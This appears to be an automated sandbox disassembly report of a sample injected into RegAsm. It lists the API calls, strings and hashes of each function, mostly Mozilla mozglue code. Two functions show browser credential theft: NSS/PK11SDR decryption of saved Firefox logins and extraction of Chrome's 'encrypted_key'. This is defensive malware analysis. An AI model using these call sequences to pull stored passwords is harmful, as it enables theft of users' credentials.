Part of subcall function 6C2E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C2E5F47
Part of subcall function 6C2E5E60: GetCurrentProcess.KERNEL32 ref: 6C2E5F53
Part of subcall function 6C2E5E60: GetCurrentThread.KERNEL32 ref: 6C2E5F5C
Part of subcall function 6C2E5E60: GetCurrentProcess.KERNEL32 ref: 6C2E5F66
Part of subcall function 6C2E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C2E5F7E

free.MOZGLUE(?), ref: 6C31F9C5
free.MOZGLUE(?), ref: 6C31F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C31F71F
Thread , xrefs: 6C31F789
" attempted to re-register as ", xrefs: 6C31F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C31F9A6

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 915ca1f106d4f48689dbe32ac60184864504593a7b93d2cbfebdedf61706ca8d
Instruction ID: 7b18f1d728c64ac328c02505f25c9c9d2c819472f36e11c729a1cb5ecec53507
Opcode Fuzzy Hash: 915ca1f106d4f48689dbe32ac60184864504593a7b93d2cbfebdedf61706ca8d
Instruction Fuzzy Hash: A781F971A083049FDB14DF24C840BAAB7F5EF89308F95456DE8459BB51EB31E849CF92

Function 6C2E4180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C2E4196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C2E41F1
VerSetConditionMask.NTDLL ref: 6C2E4223
VerSetConditionMask.NTDLL ref: 6C2E422A
VerSetConditionMask.NTDLL ref: 6C2E4231
VerSetConditionMask.NTDLL ref: 6C2E4238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C2E4245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C2E4263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6C2E427A
FreeLibrary.KERNEL32(?), ref: 6C2E4299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C2E42C4
VerSetConditionMask.NTDLL ref: 6C2E42F6
VerSetConditionMask.NTDLL ref: 6C2E4302
VerSetConditionMask.NTDLL ref: 6C2E4309
VerSetConditionMask.NTDLL ref: 6C2E4310
VerSetConditionMask.NTDLL ref: 6C2E4317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C2E4324

Strings

SetProcessDpiAwareness, xrefs: 6C2E4274
Shcore.dll, xrefs: 6C2E425E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: f7c2a2780809fbd6cb163e8bdb06aa0e9550862f9075e5ea77949eb058ccfcf7
Instruction ID: 54c2cf2f3bd0d22323ca24b0dbd1c297027f5ba49880f87c2ce54928a10df008
Opcode Fuzzy Hash: f7c2a2780809fbd6cb163e8bdb06aa0e9550862f9075e5ea77949eb058ccfcf7
Instruction Fuzzy Hash: 6951E371B402196BEB106BA5CC08FBA77BCEF8A714F954518FA45AB6C0CB74DD508BA0

Function 6C31EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31EE60
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EE6D
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C31EEA5
CloseHandle.KERNEL32(?), ref: 6C31EEB4
free.MOZGLUE(00000000), ref: 6C31EEBB
GetCurrentThreadId.KERNEL32 ref: 6C31EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31EECF

Part of subcall function 6C31DE60: GetCurrentThreadId.KERNEL32 ref: 6C31DE73
Part of subcall function 6C31DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C2E4A68), ref: 6C31DE7B
Part of subcall function 6C31DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C2E4A68), ref: 6C31DEB8
Part of subcall function 6C31DE60: free.MOZGLUE(00000000,?,6C2E4A68), ref: 6C31DEFE
Part of subcall function 6C31DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C31DF38

Part of subcall function 6C30CBE8: GetCurrentProcess.KERNEL32(?,6C2D31A7), ref: 6C30CBF1
Part of subcall function 6C30CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2D31A7), ref: 6C30CBFA

GetCurrentThreadId.KERNEL32 ref: 6C31EF1E
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EF2B
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EF59
GetCurrentThreadId.KERNEL32 ref: 6C31EFB0
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EFBD
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31EFE1
GetCurrentThreadId.KERNEL32 ref: 6C31EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F000

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C31F02F

Part of subcall function 6C31F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31F09B
Part of subcall function 6C31F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C31F0AC
Part of subcall function 6C31F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C31F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C31EED7
[I %d/%d] profiler_pause, xrefs: 6C31F008

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 7583c0d62f387c4990563c112d48b7ed276e4ab7b3c235aec0128d41107ea73f
Instruction ID: 6b3dbaabb59d42887f386ae235db3d934495fa870fb25af1119afad7a082b525
Opcode Fuzzy Hash: 7583c0d62f387c4990563c112d48b7ed276e4ab7b3c235aec0128d41107ea73f
Instruction Fuzzy Hash: A251C2757083149FDB04AB64E808BA67BBCEF4A32CF960519E95587F80DB764804CFB2

Function 6C30D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C35E804), ref: 6C30D047
GetSystemInfo.KERNEL32(?), ref: 6C30D093
__Init_thread_footer.LIBCMT ref: 6C30D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C35E810,00000040), ref: 6C30D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C35E7B8,00001388), ref: 6C30D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C35E744,00001388), ref: 6C30D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C35E784,00001388), ref: 6C30D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C35E7DC,00001388), ref: 6C30D1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C30D322
<jemalloc>, xrefs: 6C30D268, 6C30D311
MALLOC_OPTIONS, xrefs: 6C30D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C30D26D
MOZ_CRASH(), xrefs: 6C30D277

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a505e110d02306c4b93022d4479c219a3fe7a86d6173fa84bdd04ab62f561ef7
Instruction ID: d089c4a31b84f213291ef14ef0122e8d8d44a30eddb8058548f4d7c6e1f3ee8d
Opcode Fuzzy Hash: a505e110d02306c4b93022d4479c219a3fe7a86d6173fa84bdd04ab62f561ef7
Instruction Fuzzy Hash: 4B81E472B043049FEB049F68D954BA97BFDEB46708F940529E9019BF80DB7A9805CFD2

Function 6C2E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C2E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C2E801D

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C2E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C2E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C2E808D

Part of subcall function 6C2ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C2ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C2E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C2E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C2E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C2E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C2E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C2E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C2E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2E8199

Strings

0>1l, xrefs: 6C2E811E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>1l
API String ID: 2721933968-2109982182
Opcode ID: 2dfafade0e693b979e20bc007eeb5b24ff240c4303f219902c7b5c943e1a6f10
Instruction ID: f5a2cd44c92df86be74d797d78843f7a17e380559520d95fef3fe46e9218fde9
Opcode Fuzzy Hash: 2dfafade0e693b979e20bc007eeb5b24ff240c4303f219902c7b5c943e1a6f10
Instruction Fuzzy Hash: B05193B2E002185BDF00DFA9DC84AEFBBB9AF49224F544125EC55FB741E730D9048BA1

Function 0040C7D0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C7E5

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040C8C9
GetFileSize.KERNEL32(00000000,00000000), ref: 0040C8D5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040C8E8
??2@YAPAXI@Z.MSVCRT ref: 0040C8F5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040C919
StrStrA.SHLWAPI(?,00EF1DA0,00420B37), ref: 0040C937
StrStrA.SHLWAPI(00000000,00EF1D58), ref: 0040C95E
StrStrA.SHLWAPI(?,00EF1560,00000000,?,004213FC,00000000,?,00000000,00000000,?,00EEAAD8,00000000,?,004213F8,00000000,?), ref: 0040CAE2
StrStrA.SHLWAPI(00000000,00EF15E0), ref: 0040CAF9

Part of subcall function 0040C660: memset.MSVCRT ref: 0040C693
Part of subcall function 0040C660: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00EEA9D8), ref: 0040C6B1
Part of subcall function 0040C660: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C6BC
Part of subcall function 0040C660: PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
Part of subcall function 0040C660: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
Part of subcall function 0040C660: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
Part of subcall function 0040C660: memcpy.MSVCRT ref: 0040C752
Part of subcall function 0040C660: PK11_FreeSlot.NSS3(?), ref: 0040C7A1

StrStrA.SHLWAPI(?,00EF15E0,00000000,?,00421400,00000000,?,00000000,00EEA9D8), ref: 0040CB9A
StrStrA.SHLWAPI(00000000,00EEABE8), ref: 0040CBB1

Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B2E), ref: 0040C783
Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B2F), ref: 0040C797
Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B33), ref: 0040C7B8

lstrlenA.KERNEL32(00000000), ref: 0040CC84
CloseHandle.KERNEL32(00000000), ref: 0040CCDC
NSS_Shutdown.NSS3 ref: 0040CCEA

Strings

, xrefs: 0040C806

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Filelstrcpy$K11_lstrlen$PointerSlot$??2@AuthenticateBinaryCloseCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 4120691046-3916222277
Opcode ID: bb85c3827125202dca028fa50ff0c1a65527f6431554fe58931cdc958413fa88
Instruction ID: 91e77cebffad47ece097f7429d4e9b812732713b5b21c7dde3d323aaba1c439f
Opcode Fuzzy Hash: bb85c3827125202dca028fa50ff0c1a65527f6431554fe58931cdc958413fa88
Instruction Fuzzy Hash: 15E18E71801108ABCB14EBA1DC96FEEB739AF14314F00415EF40773191EF786A99CBAA

Function 6C31FAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C31FADC
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31FAE9
GetCurrentThreadId.KERNEL32 ref: 6C31FB31
GetCurrentThreadId.KERNEL32 ref: 6C31FB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C31FBF6
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31FC50

Strings

[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6C31FD15
[D %d/%d] profiler_unregister_thread: %s, xrefs: 6C31FC94

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: f9ddf7c568635e12463b5831639f79828828618f3066e46b9a230a191e66a9be
Instruction ID: 12259bffdef48e7b2c7cdd12d5cd63f07e73e75952c3f3106409e1de819d9172
Opcode Fuzzy Hash: f9ddf7c568635e12463b5831639f79828828618f3066e46b9a230a191e66a9be
Instruction Fuzzy Hash: 7471EF71A087008FD708DF29C444B6AB7F9FF89308F958569E9498BB51EB35A805CF92

Function 00413D90 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413DAE
memset.MSVCRT ref: 00413DC5

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00413DFC
lstrcat.KERNEL32(?,00EF2030), ref: 00413E1B
lstrcat.KERNEL32(?,?), ref: 00413E2F
lstrcat.KERNEL32(?,00EF1BA8), ref: 00413E43

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00409D30: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89
Part of subcall function 00409D30: memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 00418E60: GlobalAlloc.KERNEL32(00000000,00413EED,00413EED), ref: 00418E73

StrStrA.SHLWAPI(?,00EF2138), ref: 00413F03
GlobalFree.KERNEL32(?), ref: 00413FFF

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 00413F90
StrCmpCA.SHLWAPI(?,0042089B,?,?,?,?,000003E8), ref: 00413FAD
lstrcat.KERNEL32(00000000,00000000), ref: 00413FBF
lstrcat.KERNEL32(00000000,?), ref: 00413FD2
lstrcat.KERNEL32(00000000,00420F88), ref: 00413FE1

Strings

8!, xrefs: 00413EF6
0 , xrefs: 00413E0D

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesChangeCloseCreateFindFolderNotificationPathReadSizelstrcpy
String ID: 0 $8!
API String ID: 3662689742-3332033430
Opcode ID: 15f129a450f8207e9ca10826aabd4beb647780f382b38ee6a7abf47a213ae614
Instruction ID: d4b1db0ab37bfb67570dd3d18e95715430c5246f155b9e5a4f3dc5da96f51bca
Opcode Fuzzy Hash: 15f129a450f8207e9ca10826aabd4beb647780f382b38ee6a7abf47a213ae614
Instruction Fuzzy Hash: 0D716672900218ABCB14EBA1DC49FDE7779AF48304F00859DF605A7191EA789B85CFA5

Function 6C2E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C2E5E9D

Part of subcall function 6C2F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C2F56EE,?,00000001), ref: 6C2F5B85
Part of subcall function 6C2F5B50: EnterCriticalSection.KERNEL32(6C35F688,?,?,?,6C2F56EE,?,00000001), ref: 6C2F5B90
Part of subcall function 6C2F5B50: LeaveCriticalSection.KERNEL32(6C35F688,?,?,?,6C2F56EE,?,00000001), ref: 6C2F5BD8
Part of subcall function 6C2F5B50: GetTickCount64.KERNEL32 ref: 6C2F5BE4

